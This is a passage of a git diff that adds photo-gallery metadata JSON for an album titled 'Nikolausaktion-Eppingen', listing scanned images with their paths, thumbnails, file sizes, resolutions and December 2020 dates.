    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121517101_0001.jpg","dates":{"dateTaken":1608392972},"fileDate":"2020-12-19T16:49:32.73Z","category":"image","camera":{"originalDate":"2020-12-19T16:49:32.73Z","resolution":"1653 x 2338"}},{"path":"S22C-620121517103_0001.jpg","image":{"path":"slides\/S22C-620121517103_0001.jpg","width":566,"height":800},"imageCaption":"

    S22C-620121517103 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121517103_0001.jpg","width":340,"height":260},"fileSize":279221,"photodata":"

    Auflösung<\/b> 3307 x 2338<\/i><\/p>","name":"S22C-620121517103_0001.jpg","dates":{"dateTaken":1608392976},"fileDate":"2020-12-19T16:49:36.213Z","category":"image","camera":{"originalDate":"2020-12-19T16:49:36.213Z","resolution":"3307 x 2338"}},{"path":"S22C-620121517104_0001.jpg","image":{"path":"slides\/S22C-620121517104_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121517104 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121517104_0001.jpg","width":340,"height":260},"fileSize":443289,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121517104_0001.jpg","dates":{"dateTaken":1608392981},"fileDate":"2020-12-19T16:49:41.612Z","category":"image","camera":{"originalDate":"2020-12-19T16:49:41.612Z","resolution":"1653 x 2338"}},{"path":"S22C-620121517110_0001.jpg","image":{"path":"slides\/S22C-620121517110_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121517110 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121517110_0001.jpg","width":340,"height":260},"fileSize":368151,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121517110_0001.jpg","dates":{"dateTaken":1608392984},"fileDate":"2020-12-19T16:49:44.36Z","category":"image","camera":{"originalDate":"2020-12-19T16:49:44.36Z","resolution":"1653 x 2338"}},{"path":"S22C-620121517112_0001.jpg","image":{"path":"slides\/S22C-620121517112_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121517112 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121517112_0001.jpg","width":340,"height":260},"fileSize":518023,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121517112_0001.jpg","dates":{"dateTaken":1608392986},"fileDate":"2020-12-19T16:49:46.860Z","category":"image","camera":{"originalDate":"2020-12-19T16:49:46.860Z","resolution":"1653 x 2338"}},{"path":"S22C-620121517114_0001.jpg","image":{"path":"slides\/S22C-620121517114_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121517114 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121517114_0001.jpg","width":340,"height":260},"fileSize":465488,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121517114_0001.jpg","dates":{"dateTaken":1608392989},"fileDate":"2020-12-19T16:49:49.891Z","category":"image","camera":{"originalDate":"2020-12-19T16:49:49.891Z","resolution":"1653 x 2338"}},{"path":"S22C-620121517115_0001.jpg","image":{"path":"slides\/S22C-620121517115_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121517115 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121517115_0001.jpg","width":340,"height":260},"fileSize":463515,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121517115_0001.jpg","dates":{"dateTaken":1608392991},"fileDate":"2020-12-19T16:49:51.227Z","category":"image","camera":{"originalDate":"2020-12-19T16:49:51.227Z","resolution":"1653 x 2338"}},{"path":"S22C-620121517120_0001.jpg","image":{"path":"slides\/S22C-620121517120_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121517120 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121517120_0001.jpg","width":340,"height":260},"fileSize":343781,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121517120_0001.jpg","dates":{"dateTaken":1608392992},"fileDate":"2020-12-19T16:49:52.451Z","category":"image","camera":{"originalDate":"2020-12-19T16:49:52.451Z","resolution":"1653 x 2338"}},{"path":"S22C-620121517121_0001.jpg","image":{"path":"slides\/S22C-620121517121_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121517121 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121517121_0001.jpg","width":340,"height":260},"fileSize":249999,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121517121_0001.jpg","dates":{"dateTaken":1608392993},"fileDate":"2020-12-19T16:49:53.530Z","category":"image","camera":{"originalDate":"2020-12-19T16:49:53.530Z","resolution":"1653 x 2338"}},{"path":"S22C-620121517122_0001.jpg","image":{"path":"slides\/S22C-620121517122_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121517122 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121517122_0001.jpg","width":340,"height":260},"fileSize":433126,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121517122_0001.jpg","dates":{"dateTaken":1608392994},"fileDate":"2020-12-19T16:49:54.710Z","category":"image","camera":{"originalDate":"2020-12-19T16:49:54.710Z","resolution":"1653 x 2338"}},{"path":"S22C-620121517123_0001.jpg","image":{"path":"slides\/S22C-620121517123_0001.jpg","width":566,"height":800},"imageCaption":"

    S22C-620121517123 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121517123_0001.jpg","width":340,"height":260},"fileSize":349647,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121517123_0001.jpg","dates":{"dateTaken":1608392996},"fileDate":"2020-12-19T16:49:56.647Z","category":"image","camera":{"originalDate":"2020-12-19T16:49:56.647Z","resolution":"1653 x 2338"}},{"path":"S22C-620121517124_0001.jpg","image":{"path":"slides\/S22C-620121517124_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121517124 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121517124_0001.jpg","width":340,"height":260},"fileSize":644771,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121517124_0001.jpg","dates":{"dateTaken":1608392999},"fileDate":"2020-12-19T16:49:59.337Z","category":"image","camera":{"originalDate":"2020-12-19T16:49:59.337Z","resolution":"1653 x 2338"}},{"path":"S22C-620121517125_0001.jpg","image":{"path":"slides\/S22C-620121517125_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121517125 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121517125_0001.jpg","width":340,"height":260},"fileSize":271245,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121517125_0001.jpg","dates":{"dateTaken":1608393000},"fileDate":"2020-12-19T16:50:00.947Z","category":"image","camera":{"originalDate":"2020-12-19T16:50:00.947Z","resolution":"1653 x 2338"}},{"path":"S22C-620121517132_0001.jpg","image":{"path":"slides\/S22C-620121517132_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121517132 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121517132_0001.jpg","width":340,"height":260},"fileSize":334802,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121517132_0001.jpg","dates":{"dateTaken":1608393004},"fileDate":"2020-12-19T16:50:04.551Z","category":"image","camera":{"originalDate":"2020-12-19T16:50:04.551Z","resolution":"1653 x 2338"}},{"path":"S22C-620121517133_0001.jpg","image":{"path":"slides\/S22C-620121517133_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121517133 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121517133_0001.jpg","width":340,"height":260},"fileSize":336634,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121517133_0001.jpg","dates":{"dateTaken":1608393006},"fileDate":"2020-12-19T16:50:06.265Z","category":"image","camera":{"originalDate":"2020-12-19T16:50:06.265Z","resolution":"1653 x 2338"}},{"path":"S22C-620121517134_0001.jpg","image":{"path":"slides\/S22C-620121517134_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121517134 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121517134_0001.jpg","width":340,"height":260},"fileSize":384817,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121517134_0001.jpg","dates":{"dateTaken":1608393007},"fileDate":"2020-12-19T16:50:07.682Z","category":"image","camera":{"originalDate":"2020-12-19T16:50:07.682Z","resolution":"1653 x 2338"}},{"path":"S22C-620121517135_0001.jpg","image":{"path":"slides\/S22C-620121517135_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121517135 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121517135_0001.jpg","width":340,"height":260},"fileSize":273454,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121517135_0001.jpg","dates":{"dateTaken":1608393008},"fileDate":"2020-12-19T16:50:08.989Z","category":"image","camera":{"originalDate":"2020-12-19T16:50:08.989Z","resolution":"1653 x 2338"}},{"path":"S22C-620121517140_0001.jpg","image":{"path":"slides\/S22C-620121517140_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121517140 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121517140_0001.jpg","width":340,"height":260},"fileSize":439398,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121517140_0001.jpg","dates":{"dateTaken":1608393016},"fileDate":"2020-12-19T16:50:16.298Z","category":"image","camera":{"originalDate":"2020-12-19T16:50:16.298Z","resolution":"1653 x 2338"}},{"path":"S22C-620121517141_0001.jpg","image":{"path":"slides\/S22C-620121517141_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121517141 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121517141_0001.jpg","width":340,"height":260},"fileSize":408041,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121517141_0001.jpg","dates":{"dateTaken":1608393017},"fileDate":"2020-12-19T16:50:17.950Z","category":"image","camera":{"originalDate":"2020-12-19T16:50:17.950Z","resolution":"1653 x 2338"}},{"path":"S22C-620121517142_0001.jpg","image":{"path":"slides\/S22C-620121517142_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121517142 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121517142_0001.jpg","width":340,"height":260},"fileSize":335224,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121517142_0001.jpg","dates":{"dateTaken":1608393019},"fileDate":"2020-12-19T16:50:19.408Z","category":"image","camera":{"originalDate":"2020-12-19T16:50:19.408Z","resolution":"1653 x 2338"}},{"path":"S22C-620121517143_0001.jpg","image":{"path":"slides\/S22C-620121517143_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121517143 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121517143_0001.jpg","width":340,"height":260},"fileSize":311073,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121517143_0001.jpg","dates":{"dateTaken":1608393020},"fileDate":"2020-12-19T16:50:20.866Z","category":"image","camera":{"originalDate":"2020-12-19T16:50:20.866Z","resolution":"1653 x 2338"}},{"path":"S22C-620121517144_0001.jpg","image":{"path":"slides\/S22C-620121517144_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121517144 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121517144_0001.jpg","width":340,"height":260},"fileSize":501035,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121517144_0001.jpg","dates":{"dateTaken":1608393022},"fileDate":"2020-12-19T16:50:22.238Z","category":"image","camera":{"originalDate":"2020-12-19T16:50:22.238Z","resolution":"1653 x 2338"}},{"path":"S22C-620121517150_0001.jpg","image":{"path":"slides\/S22C-620121517150_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121517150 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121517150_0001.jpg","width":340,"height":260},"fileSize":579838,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121517150_0001.jpg","dates":{"dateTaken":1608393023},"fileDate":"2020-12-19T16:50:23.441Z","category":"image","camera":{"originalDate":"2020-12-19T16:50:23.441Z","resolution":"1653 x 2338"}},{"path":"S22C-620121517151_0001.jpg","image":{"path":"slides\/S22C-620121517151_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121517151 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121517151_0001.jpg","width":340,"height":260},"fileSize":327282,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121517151_0001.jpg","dates":{"dateTaken":1608393024},"fileDate":"2020-12-19T16:50:24.534Z","category":"image","camera":{"originalDate":"2020-12-19T16:50:24.534Z","resolution":"1653 x 2338"}},{"path":"S22C-620121517152_0001.jpg","image":{"path":"slides\/S22C-620121517152_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121517152 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121517152_0001.jpg","width":340,"height":260},"fileSize":644720,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121517152_0001.jpg","dates":{"dateTaken":1608393025},"fileDate":"2020-12-19T16:50:25.510Z","category":"image","camera":{"originalDate":"2020-12-19T16:50:25.510Z","resolution":"1653 x 2338"}},{"path":"S22C-620121517153_0001.jpg","image":{"path":"slides\/S22C-620121517153_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121517153 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121517153_0001.jpg","width":340,"height":260},"fileSize":673251,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121517153_0001.jpg","dates":{"dateTaken":1608393026},"fileDate":"2020-12-19T16:50:26.420Z","category":"image","camera":{"originalDate":"2020-12-19T16:50:26.420Z","resolution":"1653 x 2338"}},{"path":"S22C-620121517154_0001.jpg","image":{"path":"slides\/S22C-620121517154_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121517154 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121517154_0001.jpg","width":340,"height":260},"fileSize":325444,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121517154_0001.jpg","dates":{"dateTaken":1608393027},"fileDate":"2020-12-19T16:50:27.316Z","category":"image","camera":{"originalDate":"2020-12-19T16:50:27.316Z","resolution":"1653 x 2338"}},{"path":"S22C-620121517155_0001.jpg","image":{"path":"slides\/S22C-620121517155_0001.jpg","width":566,"height":800},"imageCaption":"

    S22C-620121517155 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121517155_0001.jpg","width":340,"height":260},"fileSize":289096,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121517155_0001.jpg","dates":{"dateTaken":1608393037},"fileDate":"2020-12-19T16:50:37.797Z","category":"image","camera":{"originalDate":"2020-12-19T16:50:37.797Z","resolution":"1653 x 2338"}}],"name":"Nikolausaktion-Eppingen","dates":{"dateRange":{"0":1607634733,"1":1608393037}},"fileDate":"2020-12-19T16:59:54.5Z"} \ No newline at end of file diff --git a/public/fotoalbum/Nikolausaktion-Eppingen/album/deep-data.json b/public/fotoalbum/Nikolausaktion-Eppingen/album/deep-data.json new file mode 100644 index 00000000..556a83d5 --- /dev/null +++ b/public/fotoalbum/Nikolausaktion-Eppingen/album/deep-data.json @@ -0,0 +1 @@ +{"deepCounters":{"total":589,"images":588,"folders":1,"files":588},"counters":{"total":546,"images":545,"folders":1,"files":545},"thumb":{"path":"thumbs\/S22C-620121018464_0001.jpg","width":340,"height":260},"objects":[{"path":"Beilage%20STA","deepCounters":{"total":43,"images":43,"files":43},"counters":{"total":43,"images":43,"files":43},"thumb":{"path":"thumbs\/001%20%2837%29.jpg","width":340,"height":260},"thumbCaption":"

    Beilage STA<\/h3>","objects":[{"path":"001%20%2837%29.jpg","image":{"path":"slides\/001%20%2837%29.jpg","width":566,"height":800},"imageCaption":"
    001 (37)<\/h5>","thumb":{"path":"thumbs\/001%20%2837%29.jpg","width":340,"height":260},"fileSize":818079,"name":"001 (37).jpg","dates":{"dateTaken":1608229250},"fileDate":"2020-12-17T19:20:50.0Z","category":"image","camera":{"originalDate":"2020-12-17T19:20:50.0Z"}},{"path":"001%20%2821%29.jpg","image":{"path":"slides\/001%20%2821%29.jpg","width":566,"height":800},"imageCaption":"
    001 (21)<\/h5>","thumb":{"path":"thumbs\/001%20%2821%29.jpg","width":340,"height":260},"fileSize":417080,"name":"001 (21).jpg","dates":{"dateTaken":1608229250},"fileDate":"2020-12-17T19:20:50.0Z","category":"image","camera":{"originalDate":"2020-12-17T19:20:50.0Z"}},{"path":"001%20%283%29.jpg","image":{"path":"slides\/001%20%283%29.jpg","width":1000,"height":750},"imageCaption":"
    001 (3)<\/h5>","thumb":{"path":"thumbs\/001%20%283%29.jpg","width":340,"height":260},"fileSize":2707448,"name":"001 (3).jpg","dates":{"dateTaken":1608229250},"fileDate":"2020-12-17T19:20:50.0Z","category":"image","camera":{"originalDate":"2020-12-17T19:20:50.0Z"}},{"path":"001%20%2817%29.jpg","image":{"path":"slides\/001%20%2817%29.jpg","width":566,"height":800},"imageCaption":"
    001 (17)<\/h5>","thumb":{"path":"thumbs\/001%20%2817%29.jpg","width":340,"height":260},"fileSize":124786,"name":"001 (17).jpg","dates":{"dateTaken":1608229250},"fileDate":"2020-12-17T19:20:50.0Z","category":"image","camera":{"originalDate":"2020-12-17T19:20:50.0Z"}},{"path":"001%20%2840%29.jpg","image":{"path":"slides\/001%20%2840%29.jpg","width":1000,"height":707},"imageCaption":"
    001 (40)<\/h5>","thumb":{"path":"thumbs\/001%20%2840%29.jpg","width":340,"height":260},"fileSize":1293334,"name":"001 (40).jpg","dates":{"dateTaken":1608229250},"fileDate":"2020-12-17T19:20:50.0Z","category":"image","camera":{"originalDate":"2020-12-17T19:20:50.0Z"}},{"path":"001%20%2841%29.jpg","image":{"path":"slides\/001%20%2841%29.jpg","width":1000,"height":707},"imageCaption":"
    001 (41)<\/h5>","thumb":{"path":"thumbs\/001%20%2841%29.jpg","width":340,"height":260},"fileSize":1396505,"name":"001 (41).jpg","dates":{"dateTaken":1608229250},"fileDate":"2020-12-17T19:20:50.0Z","category":"image","camera":{"originalDate":"2020-12-17T19:20:50.0Z"}},{"path":"001%20%2816%29.jpg","image":{"path":"slides\/001%20%2816%29.jpg","width":566,"height":800},"imageCaption":"
    001 (16)<\/h5>","thumb":{"path":"thumbs\/001%20%2816%29.jpg","width":340,"height":260},"fileSize":609309,"name":"001 (16).jpg","dates":{"dateTaken":1608229250},"fileDate":"2020-12-17T19:20:50.0Z","category":"image","camera":{"originalDate":"2020-12-17T19:20:50.0Z"}},{"path":"001%20%282%29.jpg","image":{"path":"slides\/001%20%282%29.jpg","width":1000,"height":750},"imageCaption":"
    001 (2)<\/h5>","thumb":{"path":"thumbs\/001%20%282%29.jpg","width":340,"height":260},"fileSize":2666817,"name":"001 (2).jpg","dates":{"dateTaken":1608229250},"fileDate":"2020-12-17T19:20:50.0Z","category":"image","camera":{"originalDate":"2020-12-17T19:20:50.0Z"}},{"path":"001%20%2820%29.jpg","image":{"path":"slides\/001%20%2820%29.jpg","width":566,"height":800},"imageCaption":"
    001 (20)<\/h5>","thumb":{"path":"thumbs\/001%20%2820%29.jpg","width":340,"height":260},"fileSize":458718,"name":"001 (20).jpg","dates":{"dateTaken":1608229250},"fileDate":"2020-12-17T19:20:50.0Z","category":"image","camera":{"originalDate":"2020-12-17T19:20:50.0Z"}},{"path":"001%20%2836%29.jpg","image":{"path":"slides\/001%20%2836%29.jpg","width":566,"height":800},"imageCaption":"
    001 (36)<\/h5>","thumb":{"path":"thumbs\/001%20%2836%29.jpg","width":340,"height":260},"fileSize":807492,"name":"001 (36).jpg","dates":{"dateTaken":1608229250},"fileDate":"2020-12-17T19:20:50.0Z","category":"image","camera":{"originalDate":"2020-12-17T19:20:50.0Z"}},{"path":"001%20%2811%29.jpg","image":{"path":"slides\/001%20%2811%29.jpg","width":566,"height":800},"imageCaption":"
    001 (11)<\/h5>","thumb":{"path":"thumbs\/001%20%2811%29.jpg","width":340,"height":260},"fileSize":323935,"name":"001 (11).jpg","dates":{"dateTaken":1608229250},"fileDate":"2020-12-17T19:20:50.0Z","category":"image","camera":{"originalDate":"2020-12-17T19:20:50.0Z"}},{"path":"001%20%289%29.jpg","image":{"path":"slides\/001%20%289%29.jpg","width":566,"height":800},"imageCaption":"
    001 (9)<\/h5>","thumb":{"path":"thumbs\/001%20%289%29.jpg","width":340,"height":260},"fileSize":287941,"name":"001 (9).jpg","dates":{"dateTaken":1608229250},"fileDate":"2020-12-17T19:20:50.0Z","category":"image","camera":{"originalDate":"2020-12-17T19:20:50.0Z"}},{"path":"001%20%2831%29.jpg","image":{"path":"slides\/001%20%2831%29.jpg","width":566,"height":800},"imageCaption":"
    001 (31)<\/h5>","thumb":{"path":"thumbs\/001%20%2831%29.jpg","width":340,"height":260},"fileSize":496771,"name":"001 (31).jpg","dates":{"dateTaken":1608229250},"fileDate":"2020-12-17T19:20:50.0Z","category":"image","camera":{"originalDate":"2020-12-17T19:20:50.0Z"}},{"path":"001%20%2827%29.jpg","image":{"path":"slides\/001%20%2827%29.jpg","width":566,"height":800},"imageCaption":"
    001 (27)<\/h5>","thumb":{"path":"thumbs\/001%20%2827%29.jpg","width":340,"height":260},"fileSize":297009,"name":"001 (27).jpg","dates":{"dateTaken":1608229250},"fileDate":"2020-12-17T19:20:50.0Z","category":"image","camera":{"originalDate":"2020-12-17T19:20:50.0Z"}},{"path":"001%20%285%29.jpg","image":{"path":"slides\/001%20%285%29.jpg","width":1000,"height":702},"imageCaption":"
    001 (5)<\/h5>","thumb":{"path":"thumbs\/001%20%285%29.jpg","width":340,"height":260},"fileSize":2423888,"photodata":"

    Originaldatum<\/b> 10.12.20, 22:12<\/i><\/p>","name":"001 (5).jpg","dates":{"dateTaken":1607634774},"fileDate":"2020-12-17T19:20:50.0Z","category":"image","camera":{"originalDate":"2020-12-10T22:12:54.0Z"}},{"path":"001%20%284%29.jpg","image":{"path":"slides\/001%20%284%29.jpg","width":1000,"height":737},"imageCaption":"

    001 (4)<\/h5>","thumb":{"path":"thumbs\/001%20%284%29.jpg","width":340,"height":260},"fileSize":1814645,"photodata":"

    Originaldatum<\/b> 10.12.20, 22:12<\/i><\/p>","name":"001 (4).jpg","dates":{"dateTaken":1607634733},"fileDate":"2020-12-17T19:20:50.0Z","category":"image","camera":{"originalDate":"2020-12-10T22:12:13.0Z"}},{"path":"001%20%2826%29.jpg","image":{"path":"slides\/001%20%2826%29.jpg","width":566,"height":800},"imageCaption":"

    001 (26)<\/h5>","thumb":{"path":"thumbs\/001%20%2826%29.jpg","width":340,"height":260},"fileSize":803111,"name":"001 (26).jpg","dates":{"dateTaken":1608229250},"fileDate":"2020-12-17T19:20:50.0Z","category":"image","camera":{"originalDate":"2020-12-17T19:20:50.0Z"}},{"path":"001%20%2830%29.jpg","image":{"path":"slides\/001%20%2830%29.jpg","width":566,"height":800},"imageCaption":"
    001 (30)<\/h5>","thumb":{"path":"thumbs\/001%20%2830%29.jpg","width":340,"height":260},"fileSize":377183,"name":"001 (30).jpg","dates":{"dateTaken":1608229250},"fileDate":"2020-12-17T19:20:50.0Z","category":"image","camera":{"originalDate":"2020-12-17T19:20:50.0Z"}},{"path":"001%20%288%29.jpg","image":{"path":"slides\/001%20%288%29.jpg","width":566,"height":800},"imageCaption":"
    001 (8)<\/h5>","thumb":{"path":"thumbs\/001%20%288%29.jpg","width":340,"height":260},"fileSize":415316,"name":"001 (8).jpg","dates":{"dateTaken":1608229250},"fileDate":"2020-12-17T19:20:50.0Z","category":"image","camera":{"originalDate":"2020-12-17T19:20:50.0Z"}},{"path":"001%20%2810%29.jpg","image":{"path":"slides\/001%20%2810%29.jpg","width":566,"height":800},"imageCaption":"
    001 (10)<\/h5>","thumb":{"path":"thumbs\/001%20%2810%29.jpg","width":340,"height":260},"fileSize":496862,"name":"001 (10).jpg","dates":{"dateTaken":1608229250},"fileDate":"2020-12-17T19:20:50.0Z","category":"image","camera":{"originalDate":"2020-12-17T19:20:50.0Z"}},{"path":"001%20%2813%29.jpg","image":{"path":"slides\/001%20%2813%29.jpg","width":566,"height":800},"imageCaption":"
    001 (13)<\/h5>","thumb":{"path":"thumbs\/001%20%2813%29.jpg","width":340,"height":260},"fileSize":518286,"name":"001 (13).jpg","dates":{"dateTaken":1608229250},"fileDate":"2020-12-17T19:20:50.0Z","category":"image","camera":{"originalDate":"2020-12-17T19:20:50.0Z"}},{"path":"001%20%2829%29.jpg","image":{"path":"slides\/001%20%2829%29.jpg","width":566,"height":800},"imageCaption":"
    001 (29)<\/h5>","thumb":{"path":"thumbs\/001%20%2829%29.jpg","width":340,"height":260},"fileSize":945289,"name":"001 (29).jpg","dates":{"dateTaken":1608229250},"fileDate":"2020-12-17T19:20:50.0Z","category":"image","camera":{"originalDate":"2020-12-17T19:20:50.0Z"}},{"path":"001%20%287%29.jpg","image":{"path":"slides\/001%20%287%29.jpg","width":566,"height":800},"imageCaption":"
    001 (7)<\/h5>","thumb":{"path":"thumbs\/001%20%287%29.jpg","width":340,"height":260},"fileSize":201349,"name":"001 (7).jpg","dates":{"dateTaken":1608229250},"fileDate":"2020-12-17T19:20:50.0Z","category":"image","camera":{"originalDate":"2020-12-17T19:20:50.0Z"}},{"path":"001%20%2825%29.jpg","image":{"path":"slides\/001%20%2825%29.jpg","width":566,"height":800},"imageCaption":"
    001 (25)<\/h5>","thumb":{"path":"thumbs\/001%20%2825%29.jpg","width":340,"height":260},"fileSize":637226,"name":"001 (25).jpg","dates":{"dateTaken":1608229250},"fileDate":"2020-12-17T19:20:50.0Z","category":"image","camera":{"originalDate":"2020-12-17T19:20:50.0Z"}},{"path":"001%20%2833%29.jpg","image":{"path":"slides\/001%20%2833%29.jpg","width":566,"height":800},"imageCaption":"
    001 (33)<\/h5>","thumb":{"path":"thumbs\/001%20%2833%29.jpg","width":340,"height":260},"fileSize":589010,"name":"001 (33).jpg","dates":{"dateTaken":1608229250},"fileDate":"2020-12-17T19:20:50.0Z","category":"image","camera":{"originalDate":"2020-12-17T19:20:50.0Z"}},{"path":"001%20%2832%29.jpg","image":{"path":"slides\/001%20%2832%29.jpg","width":566,"height":800},"imageCaption":"
    001 (32)<\/h5>","thumb":{"path":"thumbs\/001%20%2832%29.jpg","width":340,"height":260},"fileSize":459228,"name":"001 (32).jpg","dates":{"dateTaken":1608229250},"fileDate":"2020-12-17T19:20:50.0Z","category":"image","camera":{"originalDate":"2020-12-17T19:20:50.0Z"}},{"path":"001%20%2824%29.jpg","image":{"path":"slides\/001%20%2824%29.jpg","width":566,"height":800},"imageCaption":"
    001 (24)<\/h5>","thumb":{"path":"thumbs\/001%20%2824%29.jpg","width":340,"height":260},"fileSize":314287,"name":"001 (24).jpg","dates":{"dateTaken":1608229250},"fileDate":"2020-12-17T19:20:50.0Z","category":"image","camera":{"originalDate":"2020-12-17T19:20:50.0Z"}},{"path":"001%20%286%29.jpg","image":{"path":"slides\/001%20%286%29.jpg","width":566,"height":800},"imageCaption":"
    001 (6)<\/h5>","thumb":{"path":"thumbs\/001%20%286%29.jpg","width":340,"height":260},"fileSize":218656,"name":"001 (6).jpg","dates":{"dateTaken":1608229250},"fileDate":"2020-12-17T19:20:50.0Z","category":"image","camera":{"originalDate":"2020-12-17T19:20:50.0Z"}},{"path":"001%20%2828%29.jpg","image":{"path":"slides\/001%20%2828%29.jpg","width":566,"height":800},"imageCaption":"
    001 (28)<\/h5>","thumb":{"path":"thumbs\/001%20%2828%29.jpg","width":340,"height":260},"fileSize":415452,"name":"001 (28).jpg","dates":{"dateTaken":1608229250},"fileDate":"2020-12-17T19:20:50.0Z","category":"image","camera":{"originalDate":"2020-12-17T19:20:50.0Z"}},{"path":"001%20%2812%29.jpg","image":{"path":"slides\/001%20%2812%29.jpg","width":566,"height":800},"imageCaption":"
    001 (12)<\/h5>","thumb":{"path":"thumbs\/001%20%2812%29.jpg","width":340,"height":260},"fileSize":1116265,"name":"001 (12).jpg","dates":{"dateTaken":1608229250},"fileDate":"2020-12-17T19:20:50.0Z","category":"image","camera":{"originalDate":"2020-12-17T19:20:50.0Z"}},{"path":"001%20%281%29.jpg","image":{"path":"slides\/001%20%281%29.jpg","width":1000,"height":435},"imageCaption":"
    001 (1)<\/h5>","thumb":{"path":"thumbs\/001%20%281%29.jpg","width":340,"height":260},"fileSize":626775,"photodata":"

    Originaldatum<\/b> 10.12.20, 22:12<\/i><\/p>","name":"001 (1).jpg","dates":{"dateTaken":1607634753},"fileDate":"2020-12-17T19:20:50.0Z","category":"image","camera":{"originalDate":"2020-12-10T22:12:33.0Z"}},{"path":"001%20%2819%29.jpg","image":{"path":"slides\/001%20%2819%29.jpg","width":566,"height":800},"imageCaption":"

    001 (19)<\/h5>","thumb":{"path":"thumbs\/001%20%2819%29.jpg","width":340,"height":260},"fileSize":307269,"name":"001 (19).jpg","dates":{"dateTaken":1608229250},"fileDate":"2020-12-17T19:20:50.0Z","category":"image","camera":{"originalDate":"2020-12-17T19:20:50.0Z"}},{"path":"001%20%2823%29.jpg","image":{"path":"slides\/001%20%2823%29.jpg","width":566,"height":800},"imageCaption":"
